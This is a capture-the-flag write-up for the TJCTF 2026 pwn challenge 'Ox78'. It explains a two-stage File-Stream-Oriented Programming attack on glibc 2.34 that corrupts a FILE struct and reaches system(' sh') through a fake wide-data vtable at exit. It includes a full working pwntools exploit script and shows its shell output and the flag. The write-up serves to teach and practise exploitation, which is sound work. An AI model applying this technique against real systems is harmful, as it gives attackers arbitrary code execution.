Ox78
Author: Jordan Lanham Event: TJCTF 2026 Category: pwn Date: May 15, 2026 Read Time: 9 minutes
Overview
A medium-difficulty FSOP (File-Stream-Oriented Programming) challenge. The
binary opens /tmp/test.txt, prints both a heap leak (the FILE * itself) and
a libc leak, then calls read(0, fp, 0x78) -- letting us overwrite the first
0x78 bytes of the FILE struct -- followed by fread(testbuf, 1, 0x78, fp).
A "prevent_fsop" function tries to detect tampering but the check is broken
(compares a value with itself), so it never actually trips.
We chain the FILE-struct corruption into the fread -> _IO_file_underflow
primitive (which calls read(_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base)
with attacker-controlled fields) to write a SECOND attacker-controlled buffer
INTO the FILE struct itself. That second write installs a _IO_wfile_jumps
vtable plus a fake _wide_data whose _wide_vtable->__doallocate points at
system. At exit, _IO_flush_all walks the chain to our fp, calls
_IO_wfile_overflow -> _IO_wdoallocbuf -> system(fp) -- and since fp's
first bytes were rewritten to " sh\0", we get a shell.
Challenge Description
Oh the joys of file structs... nc tjc.tf 31378
Files provided: Ox78, libc.so.6 (glibc 2.34), ld-linux-x86-64.so.2, Dockerfile
Endpoints: nc tjc.tf 31378
Initial Analysis
checksec Ox78:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Full RELRO + IBT + SHSTK rules out GOT overwrite and classic ROP / JOP gadget abuse; we must stay within legitimate libio control flow.
Decompiled Ox78():
create_test_file(); // open/close /tmp/test.txt
testbuf = malloc(0x78);
fp = fopen("/tmp/test.txt", "r");
puts(prompt);
printf("Here's the address of the File Structure: 0x%llx\n", fp);
printf("...libc leak as well: %p\n\n", puts_got_value); // = libc.puts
read(0, fp, 0x78); // ATTACKER WRITE: first 0x78 of fp
prevent_fsop();
fread(testbuf, 1, 0x78, fp); // TRIGGERS the corrupted FILE
prevent_fsop();
return 0;
prevent_fsop (decompiled):
void prevent_fsop() {
void *wd = fp->_wide_data; // first read
void *vt = fp->vtable;
void *wd2 = fp->_wide_data; // second read, same address
void *vt2 = fp->vtable;
if (wd != wd2 || vt != vt2) { // can only differ across threads / signals
*(int *)0 = 1; // NULL deref -> SIGSEGV
}
fp->_chain = 0; // <-- THIS is the real effect
}
The _wide_data and vtable checks always pass (they re-read the same memory
back-to-back), but the side-effect that matters is fp->_chain = 0. Iteration
of _IO_list_all at exit therefore stops AT fp -- standard "flush stdout last"
House of Apple chains are blocked, but our fp is still the FIRST file in the
list so it IS visited.
_IO_FILE_plus layout (glibc 2.34):
| offset | field |
|---|---|
| 0x00 | _flags |
| 0x08 | _IO_read_ptr |
| 0x10 | _IO_read_end |
| 0x18 | _IO_read_base |
| 0x20 | _IO_write_base |
| 0x28 | _IO_write_ptr |
| 0x30 | _IO_write_end |
| 0x38 | _IO_buf_base |
| 0x40 | _IO_buf_end |
| 0x48..0x67 | various |
| 0x68 | _chain |
| 0x70 | _fileno |
| 0x74 | _flags2 |
| 0x78 | _old_offset |
| ... | |
| 0x88 | _lock |
| 0xa0 | _wide_data |
| 0xd8 | vtable |
Our 0x78-byte read covers offsets 0..0x77 -- everything up to but excluding
_old_offset. In particular: _IO_buf_base, _IO_buf_end, _fileno,
_chain all within range; _wide_data and vtable NOT directly writable.
We need a secondary write to reach those.
fopen() allocates a locked_FILE struct: _IO_FILE_plus + _IO_lock_t +
_IO_wide_data, contiguously. That means fp + 0xe8 is the start of fp's
own _wide_data struct (in heap memory adjacent to fp). We use that as the
known address of OUR fake wide_data.
Solution Approach
Step 1: Confirm the leaks
I'm trying to test my FSOP prevention mechanism so I can share it with my coworkers ...
Here's the address of the File Structure: 0x55a3...
I'm pretty confident you can't break out of this, ... libc leak as well: 0x7f38e19c3ed0
The libc leak is puts; subtract libc.sym['puts'] (= 0x84ed0) to get libc
base. The heap leak gives us the FILE pointer (and therefore fp + 0xe8, the
adjacent _IO_wide_data slot, for free).
Step 2: Stage 1 -- corrupt FILE to redirect fread's underflow at FP itself
After read(0, fp, 0x78), the corrupted fields drive fread which calls
_IO_xsgetn -> _IO_file_underflow:
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
fp->_IO_read_end += count;
return *(unsigned char *)fp->_IO_read_ptr;
i.e. read(_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base). With
_fileno = 0 and _IO_buf_base = fp, _IO_buf_end = fp + 0x1d0, the
underflow's read syscall OVERWRITES the entire FILE struct AND the adjacent
locked_FILE.wd. That's the primary primitive.
There are two _flags constraints to navigate:
freadcallsCHECK_FILE(fp, 0)which enforces(_flags & _IO_MAGIC_MASK) == _IO_MAGIC, i.e. high 16 bits =0xfbad._IO_file_underflowchecks_flags & _IO_NO_READS == 0.
So stage-1's _flags = 0xfbad0000 clears all the read/no_writes/unbuffered
bits AND keeps the magic.
Step 3: Stage 2 -- the payload swallowed by the underflow read
After underflow's syscall returns, glibc does fp->_IO_read_end += count.
Crucially, glibc 2.34's _IO_new_file_underflow does NOT cache _IO_buf_base
in a local before this addition: it re-reads fp->_IO_buf_base from memory
that we JUST overwrote. And it ends with return *(unsigned char *)fp->_IO_read_ptr,
again post-overwrite. So our stage-2 must place a safe readable value in
fp->_IO_read_ptr (offset 0x08) -- or fread crashes immediately when it
dereferences NULL. I use libc.address (start of libc) for that, since
the ELF header is always readable.
The full stage-2 layout (0x1d0 bytes, written by the underflow into fp+0..0x1cf):
offset 0x00 : "_flags" = b" sh\0" (so system(fp) -> system(" sh") -> /bin/sh)
offset 0x08 : _IO_read_ptr = libc.address (safe readable)
offset 0x10 : _IO_read_end = libc.address + 0x100
offset 0x20 : _IO_write_base = 0
offset 0x28 : _IO_write_ptr = 1 (>base, so _IO_flush_all triggers our fp)
offset 0x88 : _lock = fp + 0xe0 (point at zeroed inline lock)
offset 0xa0 : _wide_data = fp + 0xe8 (= adjacent locked_FILE.wd)
offset 0xc0 : _mode = 0 (byte mode, so flush_all checks write_ptr)
offset 0xd8 : vtable = _IO_wfile_jumps
offset 0xe0 : (locked_FILE.lock, zeroed)
offset 0xe8 : start of wd struct
wd[0x18] = 0 (write_base) # so wfile_overflow takes the alloc branch
wd[0x30] = 0 (buf_base) # so wdoallocbuf actually calls __doallocate
wd[0x68] = system # fake_vtable[__doallocate slot]
offset 0x1c8 : wd->_wide_vtable = fp + 0xe8 (the wd itself acts as the fake vtable)
The fake vtable IS the wd region: setting wd->_wide_vtable = wd_addr means
fake_vtable + 0x68 lands at wd[0x68], which we set to system.
Step 4: Exit-time control flow
exit -> _IO_cleanup -> _IO_flush_all_lockp
-> for our fp: _mode<=0 and write_ptr > write_base -> _IO_OVERFLOW(fp,EOF)
-> validate fp->vtable: _IO_wfile_jumps is in __libc_IO_vtables -> ok
-> _IO_wfile_overflow(fp, EOF)
-> wd->write_base == NULL || flags & CURRENTLY_PUTTING == 0 -> taken
-> wd->buf_base == NULL -> call _IO_wdoallocbuf(fp)
-> rax = fp->_wide_data (= fp + 0xe8)
-> rax = rax->_wide_vtable (= fp + 0xe8 again)
-> call *(rax + 0x68) = system, with rdi = fp
-> system(" sh") -> /bin/sh
fp[0..3] = " sh\0" -> _flags byte view = 0x00687320. Verification:
& _IO_NO_WRITES (0x8) = 0; & _IO_UNBUFFERED (0x2) = 0; & _IO_CURRENTLY_PUTTING (0x800) = 0.
All required bits clean. system reads the string at fp: bytes 0x20, 0x73, 0x68, 0x00
= " sh" followed by NUL. /bin/sh accepts leading whitespace -> drops to interactive shell.
Code / Exploit
Full working solver: _workspace/sol_ox78_v3.py
#!/usr/bin/env python3
from pwn import *
import struct, time
HOST, PORT = 'tjc.tf', 31378
libc = ELF('files/ox78__libc.so.6', checksec=False)
io = remote(HOST, PORT)
io.recvuntil(b'right?\n\n')
fp_addr = int(io.recvuntil(b'\n').strip().split(b'0x')[1], 16)
puts_libc = int(io.recvuntil(b'\n').strip().split(b'0x')[1], 16)
libc.address = puts_libc - libc.symbols['puts']
wfile_jumps = libc.symbols['_IO_wfile_jumps']
system = libc.symbols['system']
# Stage 1: read(0, fp, 0x78)
stage1 = p64(0xfbad0000) # _flags: magic, no bad bits
stage1 += p64(0)*6 # read/write ptrs/bases
stage1 += p64(fp_addr + 0x00) # _IO_buf_base = fp (underflow target)
stage1 += p64(fp_addr + 0x1d0) # _IO_buf_end
stage1 += p64(0)*5 # save/backup/markers/chain
stage1 += p32(0) + p32(0) # _fileno=0 (stdin), _flags2=0
assert len(stage1) == 0x78
io.send(stage1)
# Stage 2: 0x1d0 bytes swallowed by fread -> _IO_file_underflow -> read(0, fp, 0x1d0)
wd_addr = fp_addr + 0xe8
lock_addr = fp_addr + 0xe0
stage2 = bytearray(b'\x00' * 0x1d0)
struct.pack_into('<4s', stage2, 0x00, b' sh\x00') # _flags + system arg
struct.pack_into('<Q', stage2, 0x08, libc.address) # _IO_read_ptr: safe deref
struct.pack_into('<Q', stage2, 0x10, libc.address + 0x100)
struct.pack_into('<Q', stage2, 0x28, 1) # write_ptr > write_base
struct.pack_into('<Q', stage2, 0x88, lock_addr) # _lock -> fp+0xe0
struct.pack_into('<Q', stage2, 0xa0, wd_addr) # _wide_data -> fp+0xe8
struct.pack_into('<Q', stage2, 0xd8, wfile_jumps) # vtable
struct.pack_into('<Q', stage2, 0xe8 + 0x68, system) # fake_vtable[__doallocate]
struct.pack_into('<Q', stage2, 0x1c8, wd_addr) # wd->_wide_vtable
io.send(bytes(stage2))
time.sleep(0.5)
io.sendline(b'cat /flag.txt; cat /app/flag.txt; cat /srv/app/flag.txt')
print(io.recvall(timeout=4).decode('latin-1'))
io.close()
Run:
$ python3 sol_ox78_v3.py
[+] fp = 0x555578a31320
[+] libc.base = 0x7b939ecef000
SHELLOK
uid=1000(ubuntu) gid=1000(ubuntu)
tjctf{d0uBl3_FSoP_1s_fUN_29391}
Technical Details
- Vulnerability class: FSOP /
_IO_FILEstruct overwrite - Primary primitive:
read(0, fp, 0x78)-- raw stomp on FILE fields 0..0x77. - Secondary primitive:
fread(...,fp)->_IO_file_underflowwhoseread(_fileno, _IO_buf_base, len)is a 2nd attacker-controlled write reaching_wide_data(offset 0xa0),vtable(offset 0xd8), and the adjacentlocked_FILE.wdstruct (fp+0xe8..fp+0x1c7). - Vtable bypass: main
vtablevalidated against__libc_IO_vtables, so we use_IO_wfile_jumps(legitimate)._wide_vtableis NOT validated -- House of Apple 2 reachessystemthrough_IO_wdoallocbufcallingwide_data->_wide_vtable->__doallocate(fp). - Critical pitfall: glibc 2.34's
_IO_new_file_underflowre-readsfp->_IO_buf_base,fp->_IO_read_end, and dereferencesfp->_IO_read_ptrAFTER the SYSREAD overwrites the FILE. Your stage-2 MUST place a valid readable pointer atfp->_IO_read_ptr(offset 0x08) or the underflow crashes on its own return value.
Key Insights
- "Mitigation" functions that re-read the same memory twice for "tamper detection" check absolutely nothing: read it once, write it, read it again -- both reads see the same (new) value. The check has to either hash to write-protected storage or read from a side-channel.
fopen'slocked_FILEallocates_IO_FILE_plus + _IO_lock_t + _IO_wide_datain one chunk -- knowing the FILE pointer gives you the wide_data location for free.- House of Apple 2 stays viable in glibc 2.34/2.42 because
_wide_vtableis not vtable-checked. - When the underflow re-reads fields AFTER the SYSREAD-overwrite, you must
plant valid pointers at both the buffer-management fields AND the post-
read state fields (
_IO_read_ptr,_IO_read_end) of stage-2. system(fp)needsfp[0..3]to (a) pass any_flagsbit-checks on the exit-flush path, and (b) be the start of a valid shell command." sh\0"satisfies both (UNBUFFERED/NO_WRITES/CURRENTLY_PUTTING all clear, andshaccepts leading whitespace).
The Flag
tjctf{d0uBl3_FSoP_1s_fUN_29391}